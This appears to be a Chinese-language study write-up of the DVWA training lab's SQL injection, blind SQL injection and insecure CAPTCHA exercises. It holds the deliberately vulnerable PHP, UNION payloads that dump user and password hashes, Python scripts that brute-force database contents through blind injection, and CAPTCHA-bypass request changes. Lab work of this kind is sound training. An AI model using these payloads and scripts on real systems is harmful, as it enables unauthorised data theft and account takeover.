9.mysql_real_escape_string():实现转义7种危险字符。SQL 语句字符串中的特殊字符,如输入单引号’则处理时会在其前面加上右斜杠\来进行转义,如果语句错误则输出相应的错误信息。其中受影响的字符如下:\x00 \n \r \ ' " \x1a

low级别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

// Increase loop count
$i++;
}

mysql_close();
}

?>
  • 漏洞利用
1
2
3
4
5
6
7
8
9
sql语句
SELECT first_name, last_name FROM users WHERE user_id = '$id';
payload:
1' order by 2# 两列
1' or '1'='1'#
1%27+union+select+1,group_concat(schema_name) from information_schema.schemata limit 1,1%23&Submit=Submit# 所有数据库
1%27+union+select+1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761 limit 1,1 --+&Submit=Submit# dvwa所有表
1%27+union+select+1,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273%20limit%201,1%20--+&Submit=Submit# users所有列
1%27+union+select+1,group_concat(concat_ws(%27-%27,user_id,first_name,last_name,user,password,avatar,last_login,failed_login)) from dvwa.users limit%201,1%20--+&Submit=Submit# 所有信息

medium级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

// Increase loop count
$i++;
}

//mysql_close();
}

?>
  • 漏洞利用
1
2
3
4
5
6
7
查询语句
SELECT first_name, last_name FROM users WHERE user_id = $id;
1 or 1=1
post提交,输入参数存在简单的转义。
用户输入部分使用mysql_real_escape_string()函数转义(‘,“,\r,\n,NULL等)
转义仅针对7个字符,如果注入语句中不含这些字符则不受影响。且也可用hex编码绕过
id=1 union select 1,group_concat(concat_ws(0x7e,user,password)) from dvwa.users limit 1,1&Submit=Submit

high级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

// Increase loop count
$i++;
}

mysql_close();
}

?>
  • 漏洞利用
1
2
3
4
5
6
7
8
9
10
11
查询语句
SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;

http://xxx/vulnerabilities/sqli/session-input.php
post数据
id=1' union select 1,group_concat(concat_ws(0x7e,user,password)) from dvwa.users limit 1,1 #&Submit=Submit
访问查看结果http://xxx/vulnerabilities/sqli/

其他
1' or 1=1#
1' and 1=2 union select database(),2#

参考文章:DVWA使用教程(SQL injection)

  • 数字型注入与字符型区别

当输入的内容为数字时,可能存在数字型注入,也可能存在字符型注入。区别在于,数字型不需要单引号来闭合,而字符型需要通过单引号来闭合的。
详细理解请参考博客:如何判断是字符型注入还是数字型注入

sql盲注

low级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

mysql_close();
}

?>
  • Low级别基于布尔的盲注思路

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
二分法猜解
数据库名
1' and length(database())>5 # -- 显示不存在;说明库名长度<=5
1' and ascii(substr(database(),1,1))>97# -- 显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)

表名
1' and (select count(table_name) from information_schema.tables where table_schema=database())>5# -- # 显示不存在,说明表个数在1-5之间
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 # -- 显示存在,说明表名长度>5
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # -- 显示存在>97

字段名
1' and (select count(column_name) from information_schema.columns where table_name= 'users')>5 # -- 显示存在 字段数量>5
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>5 # 显示存在 字段名长度>5

采用二分法猜测字段名,limit 0,1确定的是表的第几个字段,substr(sql,1)确定的是字段的第几个字母开始截取,ascii读出左侧的第一个字母的ascii
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>97 # -- 判断第一个字段第一个字母是否大于97

穷举法爆破

  • 表名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python
# encoding:utf8

import requests
header = {'Cookie': 'PHPSESSID=n580kqns8kkr29ov6e2hho0hd6; security=low'}
url = 'http://192.168.1.113/vulnerabilities/sqli_blind/?id='
startStr = "1'and "
endStr = " --+&Submit=Submit#"

#参数名
#dblen 数据库长度
#ascii 可视化字符32-126 for j in range(32,127):
#database_name 数据库名
#tableNum 表的数量


#存在标志
flag = 'User ID exists in the database.'
# 1.先爆破库名的长度
payload = "length(database())=" #查询语句
for i in range(1,50):
getPayload = startStr + payload +str(i)+endStr
tempurl = url + getPayload
content = requests.get(tempurl,headers=header).text
if flag in content:
dblen = i
print('数据库名长度为:'+str(dblen))
break
# 2.数据库名
database_name = ''
for i in range(1,dblen+1):
payload = "ascii(substr(database(),"+str(i)+",1))="
for j in range(32,127):
getPayload = startStr + payload +str(j)+endStr
tempurl = url + getPayload
content = requests.get(tempurl,headers=header).text
if flag in content:
#print(tempurl)
database_name += chr(j)
continue
print('当前数据库名:'+database_name)

# 3.爆破表的个数
payload = "(select count(table_name) from information_schema.tables where table_schema=database())="
for i in range(1,50):
getPayload = startStr + payload +str(i)+endStr
tempurl = url + getPayload
content = requests.get(tempurl,headers=header).text
#print(tempurl)
if flag in content:
tableNum = i
print(database_name+'数据库有'+str(tableNum)+"个表")
break
# 4.表名
# 表长度
for i in range(0,tableNum):
table_name = ''
payload = "length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(i)+",1),1))="
for j in range(1,50):
getPayload = startStr + payload +str(j)+endStr
tempurl = url + getPayload
content = requests.get(tempurl,headers=header).text
if flag in content:
tablelength = j
#print(tempurl)
print("表"+str(i+1)+"长度为:"+str(tablelength))
# 表名
for k in range(0,tablelength+1):
for l in range(32,127):
payload = "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(i)+",1),"+str(k)+",1))="
getPayload = startStr + payload +str(l)+endStr
tempurl = url + getPayload
content = requests.get(tempurl,headers=header).text
if flag in content:
table_name += chr(l)
continue
print("表"+str(i+1)+"名为:"+table_name)
break

结果:

1
2
3
4
5
6
7
数据库名长度为:4
当前数据库名:dvwa
dvwa数据库有2个表
表1长度为:9
表1名为:guestbook
表2长度为:5
表2名为:users
  • 字段信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
# encoding:utf8

import requests

header = {'Cookie': 'PHPSESSID=n580kqns8kkr29ov6e2hho0hd6; security=low'}
url = 'http://192.168.1.113/vulnerabilities/sqli_blind/?id='
startStr = "1'and "
endStr = " --+&Submit=Submit#"

# users表

#存在标志
flag = 'User ID exists in the database.'
# 1.字段数目
payload = "(select count(column_name) from information_schema.columns where table_name= 'users')=" #查询语句
for i in range(1,50):
getPayload = startStr + payload +str(i)+endStr
tempurl = url + getPayload
content = requests.get(tempurl,headers=header).text
if flag in content:
columnNum = i
print('字段数为:'+str(columnNum))
break
#2.字段名类似于爆表
for i in range(0,columnNum):
table_name = ''
payload = "length(substr((select column_name from information_schema.columns where table_name= 'users' limit "+str(i)+",1),1))="
for j in range(1,50):
getPayload = startStr + payload +str(j)+endStr
tempurl = url + getPayload
content = requests.get(tempurl,headers=header).text
if flag in content:
columnNumlength = j
#print(tempurl)
print("字段"+str(i+1)+"长度为:"+str(columnNumlength))
# 字段
for k in range(0,columnNumlength+1):
for l in range(32,127):
payload = "ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit "+str(i)+",1),"+str(k)+",1))="
getPayload = startStr + payload +str(l)+endStr
tempurl = url + getPayload
content = requests.get(tempurl,headers=header).text
if flag in content:
table_name += chr(l)
continue
print("字段"+str(i+1)+"名为:"+table_name)
break

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
字段数为:8
字段1长度为:7
字段1名为:user_id
字段2长度为:10
字段2名为:first_name
字段3长度为:9
字段3名为:last_name
字段4长度为:4
字段4名为:user
字段5长度为:8
字段5名为:password
字段6长度为:6
字段6名为:avatar
字段7长度为:10
字段7名为:last_login
字段8长度为:12
字段8名为:failed_login
  • 字段值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python
# encoding:utf8

import requests

header = {'Cookie': 'PHPSESSID=n580kqns8kkr29ov6e2hho0hd6; security=low'}
url = 'http://192.168.1.113/vulnerabilities/sqli_blind/?id='
startStr = "1'and "
endStr = " --+&Submit=Submit#"

#字段4名为:user
#字段5名为:password

#存在标志
flag = 'User ID exists in the database.'
# 1.字段中记录(行)数量
payload = "(select count(*) from users)=" #查询语句
for i in range(1,50):
getPayload = startStr + payload +str(i)+endStr
tempurl = url + getPayload
content = requests.get(tempurl,headers=header).text
#print(tempurl)
if flag in content:
rowNum = i
print('users字段行数为:'+str(rowNum))
break

# 先爆每个字段值长度,以便控制循环,提高效率,也可省略此步骤,但要保证循环大于字段长度
for i in range(0,rowNum+1):
keys = ['user','password']
for key in keys:
rowContent = ''
payload = "length(substr((select "+key+" from users limit "+str(i)+",1),1))="
for j in range(1,50):
getPayload = startStr + payload +str(j)+endStr
tempurl = url + getPayload
content = requests.get(tempurl,headers=header).text
if flag in content:
rowLen = j
#print(tempurl)
print("字段值"+key+"长度为:"+str(rowLen))
# 字段值
for k in range(0,rowLen+1):
for l in range(32,127):
payload = "ascii(substr((select "+key+" from users limit "+str(i)+",1),"+str(k)+",1))="
getPayload = startStr + payload +str(l)+endStr
tempurl = url + getPayload
content = requests.get(tempurl,headers=header).text
#print(tempurl)
if flag in content:
rowContent += chr(l)
continue
print("字段"+key+"值为:"+rowContent)
break

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
users字段行数为:5
字段值user长度为:5
字段user值为:admin
字段值password长度为:32
字段password值为:5f4dcc3b5aa765d61d8327deb882cf99
字段值user长度为:7
字段user值为:gordonb
字段值password长度为:32
字段password值为:e99a18c428cb38d5f260853678922e03
字段值user长度为:4
字段user值为:1337
字段值password长度为:32
字段password值为:8d3533d75ae2c3966d7e0d4fcc69216b
字段值user长度为:5
字段user值为:pablo
字段值password长度为:32
字段password值为:0d107d09f5bbe40cade3de5c71e9e9b7
字段值user长度为:6
字段user值为:smithy
字段值password长度为:32
字段password值为:5f4dcc3b5aa765d61d8327deb882cf99
  • 时间盲注
1
2
利用基于时间延迟的盲注进行操作。此时,需要结合if函数和sleep()函数来测试不同判断条件导致的延迟效果差异,如:1' and if(length(database())>10,sleep(5),1) #
if条件中即数据库的库、表、字段、字段值的获取和数值大小比较,若服务器响应时执行了sleep()函数,则判断if中的条件为真,否则为假。

参考文章

1.以dvwa为例学习简单sql布尔盲注的详细脚本

2.DVWA全等级SQL Injection(Blind)盲注–手工测试过程解析

medium级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}

//mysql_close();
}

?>

代码中有 mysql_real_escape_string 对特殊字符等进行转义,所以就用不了'"之类的符号,带有引号包含字符串的字段值,可以转换成16进制的形式进行绕过限制,从而提交到数据库进行查询

High级别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

高级是通过cookies 传参,还有个LIMIT 1 限制了条数,再有一个就是查询失败的时候会随机 sleep。对于LIMIT 1的限制输出记录数目,可以利用#注释其限制;

验证码绕过

DVWA报错

报错内容:

1
reCAPTCHA API key missing from config file error

方法:

1
2
3
4
5
6
7
8
9
在config.inc.php文件中找到下面代码并修改至即可

$_DVWA[ 'recaptcha_public_key' ] = ' ';
$_DVWA[ 'recaptcha_private_key' ] = ' ';

修改为

$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

参考博客:DVWA报错解决

  • docker搭建科学上网后访问不了靶场。

学习思路

1
2
3
4
5
low:直接提交,因为没输验证码,显示The CAPTCHA was incorrect. Please try again.,用burpsuite抓包,试下将step改为“2”,返回修改密码成功。

medium:按照low的操作提交,显示You have not passed the CAPTCHA,应该是下面又做了某个参数验证。看下源码,需要验证passed_captcha这个参数的的值,它是在第一步的时候提交隐藏的表单的时候,提交了一个passed_captcha,值为true。接下来直接抓包,依旧step设为2并在&Change=Change参数后面新增一个passed_captcha=true,即&Change=Change&passed_captcha=true。返回修改密码成功。

high:resp参数是谷歌返回的验证结果,只要resp为真或者后面那两个参数等于正确的值都算通过验证码,resp这个我们无法预测,但后面那两个参数是可控的。抓包,在&Change=Change参数后面新增一个g-recaptcha-response=hidd3n_valu3,即&Change=Change&g-recaptcha-response=hidd3n_valu3。并将请求头的User-Agent的值改为reCAPTCHA。返回修改密码成功。

DVWA 之insecure captcha学习

-------------The End-------------